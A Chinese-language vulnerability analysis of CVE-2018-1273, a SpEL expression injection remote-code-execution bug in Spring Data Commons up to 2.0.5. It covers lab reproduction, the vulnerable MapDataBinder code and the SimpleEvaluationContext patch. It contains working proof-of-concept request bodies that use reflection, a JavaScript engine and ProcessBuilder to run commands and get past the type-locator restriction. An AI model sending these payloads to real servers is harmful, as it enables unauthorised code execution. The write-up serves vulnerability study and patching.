0x01 Spring Data Commons Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。
Spring Data Commons是Spring Data下所有子项目共享的基础框架。
0x02 CVE-2018-1273 Spring Data Commons在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本
2.0.x users should upgrade to 2.0.6
1.13.x users should upgrade to 1.13.11
Older versions should upgrade to a supported branch
环境搭建 直接用Vulhub的即可:https://vulhub.org/#/environments/spring/CVE-2018-1273/
漏洞复现 访问目标站点/users接口,是个提交用户名和密码的注册用户的表单,且会在页面中显示出来:
提交该表单是如下POST请求:
将POST的内容修改为如下PoC再次发送:
1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/mi1k7ea")]=&password=&repeatedPassword=
此时服务端执行了恶意命令,文件创建成功:
其他一些可用的PoC
1 2 3 4 5 // 使用JavaScript引擎绕过 username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('touch /tmp/hacked')")]=&password=&repeatedPassword= // 使用ProcessBuilder username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('touchxx/tmp/niubi'.split('xx'))).start()]=&password=&repeatedPassword=
漏洞分析 先来看下漏洞点,下载Spring Data Commons 2.0.5的源码分析。
漏洞代码位于org.springframework.data.web.MapDataBinder类中的setPropertyValue()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 @Override public void setPropertyValue (String propertyName, @Nullable Object value) throws BeansException { if (!isWritableProperty(propertyName)) { throw new NotWritablePropertyException(type, propertyName); } StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService)); context.setTypeConverter(new StandardTypeConverter(conversionService)); context.setTypeLocator(typeName -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); }); context.setRootObject(map); Expression expression = PARSER.parseExpression(propertyName); PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty(); TypeInformation<?> owningType = leafProperty.getOwningType(); TypeInformation<?> propertyType = leafProperty.getTypeInformation(); propertyType = propertyName.endsWith("]" ) ? propertyType.getActualType() : propertyType; if (propertyType != null && conversionRequired(value, propertyType.getType())) { PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); if (descriptor == null ) { throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!" , leafProperty.getSegment(), owningType.getType())); } MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1 ); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0 ); if (typeDescriptor == null ) { throw new IllegalStateException( String.format("Couldn't obtain type descriptor for method parameter %s!" , methodParameter)); } value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); } try { expression.setValue(context, value); } catch (SpelEvaluationException o_O) { throw new NotWritablePropertyException(type, propertyName, "Could not write property!" , o_O); } }
上述代码的流程为:
首先通过isWritableProperty()函数校验propertyName参数(来自表单提交的参数),检测是否为Controller中设置的Form映射对象中的成员变量;
然后创建一个StandardEvaluationContext,同时调用PARSER.parseExpression()设置需要解析的表达式的值为函数传入的参数;
最后调用expression.setValue()进行SpEL表达式解析;
接着跟踪isWritableProperty()函数,查看是如何过滤propertyName参数的,其最终是调用的getPropertyPath()函数:
1 2 3 4 5 private PropertyPath getPropertyPath (String propertyName) { String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]" , "" ); return PropertyPath.from(plainPropertyPath, type); }
这里是通过正则将包括中括号在内的内容给替换为空,然后判断剩下的内容是否为type里的属性。这里type就是在Controller处用到的用于接收参数的类。
因此,我们可以用这个类的一个字段再加上[payload]来构造恶意的SpEL表达式就可以实现RCE了。
还有一个坑,就是下面这段代码:
1 2 3 context.setTypeLocator(typeName -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); });
这是Spring Data Commons 2.0.5版本中添加的用来拒绝SpEL表达式的。这里如果直接使用T(java.lang.Runtime).getRuntime().exec('calc.exe')
这样的原始payload是不会成功触发的,但是可以像前面复现那样利用反射来绕过。
接着我们看下外部参数是通过那个Controller进来的。
代码位置为:https://github.com/spring-projects/spring-data-examples/blob/master/web/example/src/main/java/example/users/web/UserController.java#L83
这是Controller的代码,register()函数支持POST方式获取用户表单参数数据,这其中就有UserForm、BindingResult、Model:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 @RequestMapping (method = RequestMethod.POST)public Object register (UserForm userForm, BindingResult binding, Model model) { userForm.validate(binding, userManagement); if (binding.hasErrors()) { return "users" ; } userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword())); RedirectView redirectView = new RedirectView("redirect:/users" ); redirectView.setPropagateQueryParams(true ); return redirectView; }
现在问题是这段Controller代码是怎么和漏洞类MapDataBinder关联起来的。
看廖新喜大佬的博客,说是Form表单的提交操作会调用到ProxyingHandlerMethodArgumentResolver,而ProxyingHandlerMethodArgumentResolver中使用了MapDataBinder的接口,从而使之触发。
ProxyingHandlerMethodArgumentResolver中使用MapDataBinder的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 @Override protected Object createAttribute (String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception { MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap())); return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget()); }
ProxyingHandlerMethodArgumentResolver实现了 BeanFactoryAware和BeanClassLoaderAware,所以是在Bean装配后被自动调用的。
具体的Controller到MapDataBinder类触发的过程及原理分析可参考:
https://github.com/iflody/myBugAnalyze/blob/master/2018/CVE-2018-1273/README.md
https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/
补丁分析 看下Spring Data Commons 2.0.6版本的官方补丁是如何修复的:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
其实就是使用了SpEL表达式注入漏洞的通用修补方法,即将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。 SimpleEvaluationContext的权限则小的多,只支持一些Map结构,通用的jang.lang.Runtime、java.lang.ProcessBuilder等都已经不再支持,这样也就成功防御了SpEL表达式注入漏洞。
0x03 参考 Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】
CVE-2018-1273: RCE with Spring Data Commons 分析和利用